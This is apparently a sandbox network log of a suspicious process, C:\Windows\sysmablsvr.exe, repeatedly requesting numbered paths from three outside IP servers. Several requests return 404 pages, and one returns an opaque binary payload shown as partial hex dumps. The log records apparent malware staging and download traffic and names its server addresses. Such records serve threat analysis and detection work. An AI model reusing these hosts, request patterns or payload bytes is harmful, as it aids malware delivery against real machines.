Sep 17, 2024 23:10:34.077955008 CEST	448	IN	Data Raw: bd 52 fd db cc 9b fc 19 4c 24 14 3a f8 15 aa f8 d2 28 b0 81 08 a3 83 e9 8d a9 68 84 95 22 8f bf 70 c5 c3 31 4f 46 17 26 19 c0 74 19 3a df 70 26 8d c0 61 94 1f b2 60 86 45 0b 4f 28 60 1a 98 cc 83 f5 48 8b 87 ce 2c 0c 8c 32 08 c5 3c 6a 67 68 8a 1b Data Ascii: RL$:(h"p1OF&t:p&a`EO(`H,2<jgh<lWm6Yi-"i^t(/v%Y{H5IiNsO6\gP=a-jR94,Gi!xr~Z)F<WR4Z-+lm[*
Sep 17, 2024 23:10:34.077989101 CEST	1236	IN	Data Raw: 8a ff 83 22 c8 95 a3 8f b1 4a 38 b5 2d bb cd 5f 4e 56 ec 78 f2 2a 77 31 8e 84 ce 5f 01 9a 88 8c 69 78 7b fd d1 e9 90 ce fe 19 9e 71 f0 74 06 bd 8e 4b 2b c8 64 c7 2f 6c ac 9d 86 51 f9 3f 34 9e 6b 84 9f 6f bf 8a ab 20 11 6b d1 b9 32 c9 ad 31 26 8f Data Ascii: "J8-_NVx*w1_ix{qtK+d/lQ?4ko k21&p"NX^xp7'a#/n5za\a@hks_jq9mmC]ZF.?9&3FQQjOrl}u]?#B<
Sep 17, 2024 23:10:34.078023911 CEST	1236	IN	Data Raw: a3 9e 70 26 2d 00 71 9f 71 d4 4d 7a d0 f3 1c 0f 04 10 cb 9a 79 d7 26 8f 1d c1 cf 2b da 1a a8 b2 33 fa 6c 30 25 2e 24 74 32 6b 2f 20 ad 89 f4 1c 13 0e 03 f8 7a e3 ea 88 da f8 db d8 4b 75 28 fb 0d 03 74 64 2d c0 6f ec 7c 04 02 95 be 55 6f e0 c2 7c Data Ascii: p&-qqMzy&+3l0%.$t2k/ zKu(td-o\|Uo\|-mh3O4nloL;zvMwI6j( jxm%MN7c3"E eBQ%k75R3FF5B\|Ws
Sep 17, 2024 23:10:34.078056097 CEST	1236	IN	Data Raw: 91 49 c1 2a 12 b8 b0 a9 d8 17 cb 3a 12 c7 e3 7c a5 03 4f b4 e0 6f 9c 0f e7 05 56 89 13 01 2e 57 8d a6 90 2d b4 9d 7e 7d ed 69 48 01 1d 6a 10 ef fe 4b e2 e5 f5 a4 22 95 85 0f af 55 50 55 e5 fb b7 be 00 67 40 4d f9 41 19 09 d0 1c fb 85 ca 46 e9 39 Data Ascii: I*:\|OoV.W-~}iHjK"UPUg@MAF9o_<,_7VMV>0pYZley?SAe~r$S0B(wtV74l#F{kf?se_<A9f^Lc}/ :DC=/~2JhY"j
Sep 17, 2024 23:10:34.078089952 CEST	1236	IN	Data Raw: 33 25 5a 99 e4 c8 3a 3b b9 7d 52 56 ea 5a fd 47 b2 99 75 9a fe 01 89 11 e0 f9 89 a0 f0 57 aa 9a e0 f3 6a 1f db 8b 59 f6 8e 92 a8 6b d0 c0 d0 81 23 b7 de 98 3d 07 b3 98 4f 84 16 60 b3 dd ab 53 0a e4 77 2b cc e6 31 65 b3 5f 58 b3 04 3f 64 c3 84 f3 Data Ascii: 3%Z:;}RVZGuWjYk#=O`Sw+1e_X?dVqB)?d4SDeF!/V!Wi((3QPn\|CSe,CJ4s`j:iK<}"X'sTfDxmo}`n}7U;ufk %
Sep 17, 2024 23:10:34.078125000 CEST	328	IN	Data Raw: 11 e0 1d 41 94 0d 7b ad 86 5c f0 cc 66 96 07 16 da 90 24 25 b4 09 e9 a0 6a 91 dc 3e da 89 4c 4a d8 4c 4e 48 fb 25 0a 8a 95 d7 ae dd ec f1 fd fd 04 37 d4 97 ff 66 94 b5 1d 23 3c e9 a6 1a 51 4c 45 d3 c7 d3 69 4b 47 bc 71 06 00 80 0c 64 1a 39 2f f7 Data Ascii: A{\f$%j>LJLNH%7f#<QLEiKGqd9/P#v8CtHbFh/P;;.;j,Q'B:>[_Mk8!B\dEVd%O:U2,%/
Sep 17, 2024 23:10:34.164159060 CEST	8	IN	Data Raw: 1b b5 08 3e b6 9b 0d ab Data Ascii: >

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49762	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:36.973849058 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:37.671324968 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:37 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49764	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:39.759188890 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:40.456398010 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:40 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49766	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:42.495062113 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:43.194051027 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:43 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49767	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:45.230056047 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:46.044327974 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:45 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49769	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:48.073307037 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:10:48.783287048 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:10:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49770	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:51.841388941 CEST	163	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49772	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:55.674081087 CEST	163	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49774	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:10:59.371454954 CEST	163	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49776	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:03.072380066 CEST	163	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49777	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:06.791554928 CEST	163	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49779	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:10.479190111 CEST	163	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49781	91.202.233.141	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:11:15.450918913 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
Sep 17, 2024 23:11:16.142934084 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:11:16 GMT Content-Type: application/octet-stream Content-Length: 12544 Last-Modified: Tue, 17 Sep 2024 16:30:32 GMT Connection: keep-alive ETag: "66e9aea8-3100" Accept-Ranges: bytes Data Raw: 2a 4b d4 2b 46 6e f7 a8 df 7f b7 00 68 d9 6f f3 b4 ef 0d e8 97 2d 1e 10 47 e5 8f 0d b4 e3 91 12 22 5c 1a ce ee 79 08 99 08 ca 96 c6 60 29 56 61 47 7b 2e 57 2c 4a f6 47 4b 3d 49 ec 3f b3 4a b8 c7 e1 ea 4d 42 4c b9 7e 2b fa 7e ba 1a 5e 3e 5b 39 18 5a 84 0e cb f3 93 bc d6 dc 0f 09 55 06 f9 3e 71 57 1f 01 56 32 cd 1b d1 0c 37 c7 0c 7f b5 17 fc 53 75 5f 46 b5 04 b3 70 02 25 2b 93 ee f2 66 57 1d 3f 9a 83 79 83 c7 a4 c9 c6 68 ac 15 9f 47 6b ae 5c 53 20 bf 7c 08 1b 7b 8e 9c ae c5 4f 9f 2f 84 a3 af c9 55 b3 81 69 62 8c a7 ad 5b 6d 48 f6 01 10 bc 78 4f 7c fe d8 7c 3d dc 7d 19 95 05 f0 93 20 e1 25 af 70 be 36 d4 ec 8e c8 49 65 21 99 24 c5 12 b4 46 90 fe aa e8 6c fa 8e 4e fc da cd 1e 04 3a a3 8a 62 6c 3f 6c fe a0 2c b1 16 1a b3 76 46 7d c9 b4 8e a6 3e f9 64 f0 d2 6c 20 bd c4 b1 38 37 d9 9b 49 c8 88 58 c3 32 b0 a2 f6 a0 63 74 49 42 e1 90 d7 39 c4 a3 fb 41 b9 99 62 87 d8 8d 66 39 91 75 ba d7 69 15 0e b0 8c 31 bf 70 fc c0 36 7b 50 13 2c 53 9d 7d 88 30 3f b3 36 95 c6 c0 b7 ca 56 07 02 88 2a ad 2e ad 94 c4 d0 db 3a [TRUNCATED] Data Ascii: K+Fnho-G"\y`)VaG{.W,JGK=I?JMBL~+~^>[9ZU>qWV27Su_Fp%+fW?yhGk\S \|{O/Uib[mHxO\|\|=} %p6Ie!$FlN:bl?l,vF}>dl 87IX2ctIB9Abf9ui1p6{P,S}0?6V.:?.`&T,Fb)PhcX1%UFgKX::=Wg6R1)y5j[AQ&5LaJ)QD'@X+X-{j ^p[]>LeWI\|$ICiwd@g&,C\cXbW_IWx0 ufHlij~PFA4TKD!zV[VNV}$6Jp[<\|"Hfm$d9o=x 3j6Wk12LAyL=}IABtckwuq{W2w8y9cd!dSl(?,`)i^H(x\|0?C~DUK:tMCr;d\|lYie9+X\|\|_#cc2N>a!q'oD==b^aR9=zfPIQInkWZxB#bS_Y^2*Z&"T?~D~O
Sep 17, 2024 23:11:16.142959118 CEST	1236	IN	Data Raw: 21 22 e3 3a f8 64 ed d3 d6 31 f1 21 9f b6 49 60 d1 75 52 5e ed 96 2c 17 37 72 75 59 0c 38 aa 2c 14 89 b2 94 d9 b1 c4 bd cb 69 56 13 c2 e6 c2 4e 94 42 4c ab a8 13 37 df f1 30 27 8c df 4b 21 83 34 e8 67 0f 49 3f 73 b3 69 87 e4 53 75 2d 56 b7 3f e5 Data Ascii: !":d1!I`uR^,7ruY8,iVNBL70'K!4gI?siSu-V?e2^(+#;,x{NsU{/>=NOcqHh6mzy~U;)/K</\|{.f'O,,<=UjE-mJ,),FTuj0}YGHAWZm`%
Sep 17, 2024 23:11:16.142972946 CEST	1236	IN	Data Raw: 8c 7b d2 94 10 81 50 02 1b f8 df 9c 7f 20 a6 79 88 80 16 5a 89 90 19 d2 e1 21 c1 03 6c bf ad d8 ca 8d 65 26 17 dd 85 b6 e9 74 10 0a 32 72 30 5e 5e 67 6f d9 b8 a2 0f ab d9 01 62 52 0b 22 28 1c dd ba 4f 78 04 0a 46 20 b2 6c 00 d2 ad 9b 5c 62 8b 2f Data Ascii: {P yZ!le&t2r0^^gobR"(OxF l\b/{X$5vNXE!`FLNcS^)lQ l-Ts}R;$9DT?b(UGnw,";f+Q6vJ?U<6AQtn\&*8~/bUuq8
Sep 17, 2024 23:11:16.142987013 CEST	1236	IN	Data Raw: ec 6d 0b 68 66 0c c2 5d 9d 2a ae 94 6f df 44 73 f6 1d c9 bb 43 46 5c a8 84 41 08 ae 20 cd 6a b7 f1 a1 ad f4 8f cd 30 2e 38 77 b2 97 65 2d a5 44 ec b4 3b 2b 85 ef 49 41 9f 20 4c e0 76 6d d2 4d 78 9f b7 09 ee 55 58 52 90 1c 29 02 5a a8 4d 8b bc 8a Data Ascii: mhf]oDsCF\A j0.8we-D;+IA LvmMxUXR)ZMDBY[A1dG5!j\|Gb&v2]G\BspIQqTi3&ys?ok`Y{5Va'NX^~s/.^[o3(]G9F]cPIT\+2n^a(`
Sep 17, 2024 23:11:16.143003941 CEST	1236	IN	Data Raw: 10 0d 0b b9 5f 9d 6d e6 92 57 24 32 d1 17 e9 b2 d9 ae 0d 71 a1 d0 f5 93 db 74 24 44 1d 9c e2 88 95 42 43 e3 6d 72 fc 78 0b 0c 45 d3 b3 36 15 f1 98 ab 5f 59 68 bb c4 59 ff aa da 7d a2 ad c0 0d 7b 82 2d 3b 08 0f 12 be 08 9a 06 81 47 b2 42 9b 80 69 Data Ascii: _mW$2qt$DBCmrxE6_YhY}{-;GBiuMPyVE=hEN+kq?<'e>4bcb7Ki<=b"x5V$)VO$&<B0^MgOFzgQTfHO_T1*6vX
Sep 17, 2024 23:11:16.143018961 CEST	1120	IN	Data Raw: 8a 04 bc 40 2f 0c e0 a9 d6 0a e2 f7 14 8f ae 57 56 3d 2a bf 40 a3 25 fe 65 17 b7 f6 2f da 29 64 e9 6d 89 dc fd a5 6c 7b b4 e5 b8 72 df 7e 9d 10 04 92 d4 19 f1 8d 30 01 70 8c 1d 49 81 05 99 27 00 4f 7d 7a 9d c1 12 6d da 6c 5e f7 bb 5a cd 3d cf 8c Data Ascii: @/WV=*@%e/)dml{r~0pI'O}zml^Z=ksq#t]ID4CX<Vq/P:_NwB)xJkGC~ua"5I5nKy+Y{?bCI%Xm01:._&u>}@_`T
Sep 17, 2024 23:11:16.143032074 CEST	1236	IN	Data Raw: ed 57 bc 5e a7 de d0 ca 08 3b b1 83 ad 12 66 d7 f4 8a 06 45 be c6 c0 e3 fb e3 6e e9 5c e8 e6 6f 8c af 7d 2f 69 88 98 05 57 ed 47 7b ff 33 68 b2 3f d4 70 ec d7 ff b8 67 9b ad 89 50 0f 51 e8 28 e6 cb 72 ee 06 71 e6 13 77 cf 4d c8 89 ba 4a f0 95 94 Data Ascii: W^;fEn\o}/iWG{3h?pgPQ(rqwMJ$}7x9i\Dqxc/c,D0W4<~q;Sd BufAHRi1&$gS]<Q~*# E!6:0x[EP-Xn\fv$4X,.
Sep 17, 2024 23:11:16.143045902 CEST	1236	IN	Data Raw: 0e 4e f9 11 b2 8d d8 10 2a 07 3f 14 6b a0 06 89 1e 8f 4c 81 12 d7 d0 1b ac c4 cd b0 3c d8 20 76 d5 41 12 b3 96 01 0c ee 49 a3 70 81 36 f7 fa bf f8 fa 9c 75 70 e9 08 5f ff fd 46 bc 2e d1 d1 41 84 13 0a 49 2d 97 03 44 56 ca 54 05 26 6d 51 dd 67 c4 Data Ascii: N*?kL< vAIp6up_F.AI-DVT&mQgql&+nw;"+Zt<}XGQHeAlMVf9:.+)vg\|{b:9&&Qn1MW.Ob+am9
Sep 17, 2024 23:11:16.143498898 CEST	1236	IN	Data Raw: 02 6e 5b 0b f4 43 2d 53 71 f7 ac 2d 2b f2 7f 8f 38 d6 33 91 48 11 e5 8c ce 2e 2d 7b 33 4c 87 4b 56 4b 54 78 66 5f 5e a1 2d de c9 23 0f c5 23 a1 52 cc 27 4a 01 ed 82 a2 31 86 95 8d 0d 58 61 dc 29 98 52 1d f6 e4 1a a9 29 22 41 f3 25 dc a2 b8 cf 9b Data Ascii: n[C-Sq-+83H.-{3LKVKTxf_^-##R'J1Xa)R)"A%Wa00XK7Vcd%AI,GcXF\|{Kq0_t-\/r8Nv1Md-=;/93)&'U\]JvjS*g4!]Re
